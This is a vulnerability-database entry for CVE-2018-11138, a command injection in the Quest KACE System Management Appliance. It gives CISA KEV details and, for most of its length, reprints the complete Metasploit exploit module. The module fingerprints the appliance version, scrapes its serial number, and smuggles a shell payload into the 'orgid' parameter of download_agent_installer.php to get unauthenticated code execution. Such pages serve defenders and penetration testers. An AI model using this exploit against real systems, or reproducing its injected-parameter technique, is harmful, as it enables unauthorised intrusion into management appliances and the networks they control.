CVE-2018-11138

unknown KEV
Published 2022-03-25 ยท Modified 2022-03-25
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance is accessible by anonymous users and can be abused to perform remote code execution.

CISA KEV

Vendor
Quest
Product
KACE System Management Appliance
Due date
2022-04-15

Predictions

Exploit likelihood
99%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-44950 remote unix verified ruby ยท 6 KB
Metasploit ยท 2018-06-27

Quest KACE Systems Management - Command Injection (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest KACE Systems Management Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in Quest KACE
        Systems Management Appliance version 8.0.318 (and possibly prior).

        The `download_agent_installer.php` file allows unauthenticated users
        to execute arbitrary commands as the web server user `www`.

        A valid Organization ID is required. The default value is `1`.

        A valid Windows agent version number must also be provided. If file
        sharing is enabled, the agent versions are available within the
        `\\kace.local\client\agent_provisioning\windows_platform` Samba share.
        Additionally, various agent versions are listed on the KACE website.

        This module has been tested successfully on Quest KACE Systems
        Management Appliance K1000 version 8.0 (Build 8.0.318).
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => false,
      'Platform'       => 'unix', # FreeBSD
      'Arch'           => ARCH_CMD,
      'DisclosureDate' => 'May 31 2018',
      'Author'         =>
        [
          'Leandro Barragan', # Discovery and PoC
          'Guido Leo',        # Discovery and PoC
          'Brendan Coles',    # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2018-11138'],
          ['URL', 'https://support.quest.com/product-notification/noti-00000134'],
          ['URL', 'https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities']
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl'
            }
        },
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('SERIAL',        [false, 'Serial number', '']),
      OptString.new('ORGANIZATION',  [true, 'Organization ID', '1']),
      OptString.new('AGENT_VERSION', [true, 'Windows agent version', '8.0.152'])
    ]
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
      vprint_status 'Remote host is not a Quest KACE appliance'
      return CheckCode::Safe
    end

    unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
      vprint_error 'Could not determine KACE appliance version'
      return CheckCode::Detected
    end

    version = Gem::Version.new res.headers['X-KACE-Version'].to_s
    vprint_status "Found KACE appliance version #{version}"

    # Patched versions : https://support.quest.com/product-notification/noti-00000134
    if version < Gem::Version.new('7.0') ||
       (version >= Gem::Version.new('7.0') && version < Gem::Version.new('7.0.121307')) ||
       (version >= Gem::Version.new('7.1') && version < Gem::Version.new('7.1.150')) ||
       (version >= Gem::Version.new('7.2') && version < Gem::Version.new('7.2.103')) ||
       (version >= Gem::Version.new('8.0') && version < Gem::Version.new('8.0.320')) ||
       (version >= Gem::Version.new('8.1') && version < Gem::Version.new('8.1.108'))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def serial_number
    return datastore['SERIAL'] unless datastore['SERIAL'].to_s.eql? ''

    res = send_request_cgi('uri' => normalize_uri('common', 'about.php'))
    return unless res

    res.body.scan(/Serial Number: ([A-F0-9]+)/).flatten.first
  end

  def exploit
    check_code = check
    unless [CheckCode::Appears, CheckCode::Detected].include? check_code
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    serial = serial_number
    if serial.to_s.eql? ''
      print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
      return
    end
    vprint_status "Using serial number: #{serial}"

    print_status "Sending payload (#{payload.encoded.length} bytes)"

    vars_get = Hash[{
      'platform' => 'windows',
      'serv'     => Digest::SHA256.hexdigest(serial),
      'orgid'    => "#{datastore['ORGANIZATION']}#; #{payload.encoded} ",
      'version'  => datastore['AGENT_VERSION']
    }.to_a.shuffle]

    res = send_request_cgi({
      'uri'      => normalize_uri('common', 'download_agent_installer.php'),
      'vars_get' => vars_get
    }, 10)

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    case res.code
    when 200
      print_good 'Payload executed successfully'
    when 404
      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
    when 302
      if res.headers['location'].include? 'error.php'
        fail_with Failure::UnexpectedReply, 'Server encountered an error'
      end
      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
    else
      print_error 'Unexpected reply'
    end

    register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
  end
end

Metasploit modules

Quest KACE Systems Management Command Injection
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References

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